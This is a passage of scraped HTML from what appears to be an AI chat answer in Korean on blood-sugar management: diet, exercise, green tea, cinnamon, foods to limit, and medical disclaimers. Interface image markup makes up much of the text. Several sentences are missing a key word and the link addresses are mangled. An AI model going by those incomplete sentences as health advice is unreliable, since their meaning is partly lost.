흰쌀밥 대신 현미, 통밀, 귀리 등 통곡물을 섭취하면 식이섬유 섭취를 늘릴 수 있습니다. <ul data-sourcepos="12:5-12:27"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_6a987ae694c15903","c_beb2387054c1aaee",null,"rc_1f5198965af8fd5b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.ibabynews.com/news/articleView.html?idxno=48773"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="현미, 통밀, 귀리 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRnPFM8zsBS-zvz4Sjoz6P3KqxrGSZhXpPQqMXnqSN9ilXW5lPF0u5r172DdeCF"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://.ibabynews.com/news/articleView.html?idxno=48773" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_6a987ae694c15903","c_beb2387054c1aaee",null,"rc_1f5198965af8fd5b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ0GU6E0Uzs-uTtaxf8iF5SJjCm6VkKW3dRux7TJ6N9hLmFFJHGDdw9XMP8wT5Z0LjVDPGKImpccsvwhci_aLd98IhjDUb9Sch8R6U"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">.ibabynews.com</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 현미, 통밀, 귀리 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="13:1-14:20"><strong>견과류:</strong> 견과류는 불포화지방산이 풍부하여 심혈관 건강에도 좋고, 혈당 조절에도 도움이 됩니다. 하지만 칼로리가 높으므로 적정량을 섭취해야 합니다. <ul data-sourcepos="14:5-14:20"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_6a987ae694c15903","c_beb2387054c1aaee",null,"rc_1f5198965af8fd5b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="견과류 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRNxVLMXBTJGfUtYWmGYrluhJkDDZaeUjGycgg4KVCp5dkefl5wi8rrWI23095D"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_6a987ae694c15903","c_beb2387054c1aaee",null,"rc_1f5198965af8fd5b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 견과류 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="15:1-17:0"><strong>콩류:</strong> 콩에는 단백질과 식이섬유가 풍부하여 포만감을 높이고 혈당 조절에 도움을 줍니다. <ul data-sourcepos="16:5-17:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_6a987ae694c15903","c_beb2387054c1aaee",null,"rc_1f5198965af8fd5b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EC%BD%A9"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="콩류 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQXVbqgEqdKX47OFLAJkdsdxVtixUCAun1txi6iEO3VS0t95X88D5T-vChrq4id"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EC%BD%A9" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_6a987ae694c15903","c_beb2387054c1aaee",null,"rc_1f5198965af8fd5b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 콩류 </div></div></single-image></response-element></div></span> </ul> </li> </ul><p data-sourcepos="18:1-18:22"><strong>2. 혈당 관리를 위한 생활 습관</strong></p><ul data-sourcepos="20:1-26:0"> <li data-sourcepos="20:1-22:22"><strong>규칙적인 운동:</strong> 유산소 운동과 근력 운동을 병행하면 혈당 조절에 적입니다. <ul data-sourcepos="21:5-22:22"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_6a987ae694c15903","c_beb2387054c1aaee",null,"rc_1f5198965af8fd5b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://kormedi.com/1354890/"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="근력 운동 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTgiBSgChpIt1A2985IuVnckcgAi578sMf9zeY5KPzyZU_zyqn7eE87CKCnsitm"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://kormedi.com/1354890/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_6a987ae694c15903","c_beb2387054c1aaee",null,"rc_1f5198965af8fd5b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTLg2VmTGS5zyZ-G6fulmgu9bqPAYBn2FfTjkKxc6_sy9zGtJkRtZGQ1z7EFiotvG40druhbhwl0RVNR7sJlBEX-rLVcv8"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">kormedi.com</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 근력 운동 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="23:1-23:55"><strong>체중 관리:</strong> 비만은 당뇨병의 주요 위험 요인이므로 적정 체중을 유지하는 것이 중요합니다.</li> <li data-sourcepos="24:1-24:67"><strong>스트레스 관리:</strong> 스트레스는 혈당을 높일 수 있으므로 명상, 요가 등을 통해 스트레스를 관리하는 것이 좋습니다.</li> <li data-sourcepos="25:1-26:0"><strong>충분한 수면:</strong> 수면 부족은 혈당 조절에 부정적인 영향을 미칠 수 있으므로 충분히 잠을 자는 것이 중요합니다.</li> </ul><p data-sourcepos="27:1-27:26"><strong>3. 혈당 관리에 도움이 되는 기타 식품</strong></p><ul data-sourcepos="29:1-33:0"> <li data-sourcepos="29:1-30:19"><strong>녹차:</strong> 녹차에 함유된 카테킨 성분은 혈당 상승을 억제하는 가 있습니다. <ul data-sourcepos="30:5-30:19"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_6a987ae694c15903","c_beb2387054c1aaee",null,"rc_1f5198965af8fd5b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%85%B9%EC%B0%A8"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="녹차 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcScR8dznpdH3edV8xsYUovYbQz8MkJNVCOxNuwNWhRcvGrN9OmHx1XY9HmeHCEa"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%85%B9%EC%B0%A8" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_6a987ae694c15903","c_beb2387054c1aaee",null,"rc_1f5198965af8fd5b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 녹차 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="31:1-33:0"><strong>시나몬:</strong> 시나몬은 인슐린 감수성을 높여 혈당 조절에 도움을 줄 수 있습니다. <ul data-sourcepos="32:5-33:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_6a987ae694c15903","c_beb2387054c1aaee",null,"rc_1f5198965af8fd5b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.lush.co.kr/board/article/1000223"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="시나몬 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSDYP2jkxMVr_ysWS7j9y7hkYgOL4YvdOEBFTKo-TUO_0NAa2SOCw2mNmhOQLie"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://.lush.co.kr/board/article/1000223" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_6a987ae694c15903","c_beb2387054c1aaee",null,"rc_1f5198965af8fd5b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSg0hDNeMEiwreBMmu51qYRbraMpGYqkF5_QtCUgvlSX4ZfjabDpJz6DdeYCXCFRfNafBSU6U66hRP9u59zd8O8529t-2lfdcU"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">.lush.co.kr</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 시나몬 </div></div></single-image></response-element></div></span> </ul> </li> </ul><p data-sourcepos="34:1-34:16"><strong>4. 주의해야 할 음식</strong></p><ul data-sourcepos="36:1-39:0"> <li data-sourcepos="36:1-36:69"><strong>정제된 탄수화물:</strong> 흰 빵, 흰 쌀밥, 과자 등 정제된 탄수화물은 혈당을 빠르게 상승시키므로 섭취를 줄여야 합니다.</li> <li data-sourcepos="37:1-37:66"><strong>단 음료:</strong> 탄산음료, 과즙음료 등 단 음료는 칼로리가 높고 혈당을 급격히 상승시키므로 피하는 것이 좋습니다.</li> <li data-sourcepos="38:1-39:0"><strong>포화지방:</strong> 붉은 육류, 버터 등 포화지방이 많은 음식은 심혈관 의 위험을 높일 수 있으므로 섭취를 줄여야 합니다.</li> </ul><p data-sourcepos="40:1-40:14"><strong>5. 전문가와 상담</strong></p><p data-sourcepos="42:1-42:108">위 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 적절한 식단과 운동 방법이 달라질 수 있습니다. 당뇨병 관리에 대한 전문적인 상담은 반드시 의사나 영양사와 상담하여 결정해야 합니다.</p><p data-sourcepos="44:1-44:103"><strong>주의:</strong> 위에 제시된 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 다를 수 있습니다. 반드시 의사와 상담하여 자신에게 맞는 식단과 운동 계획을 세우는 것이 중요합니다.</p><p data-sourcepos="46:1-46:287"><strong>Disclaimer:</strong> This information is intended for general knowledge and informational purposes only, and does not constitute medical advice. It is essential to consult with a qualified healthcare professional for any health concerns or before making any changes to your diet or lifestyle.</p></div> </div></div>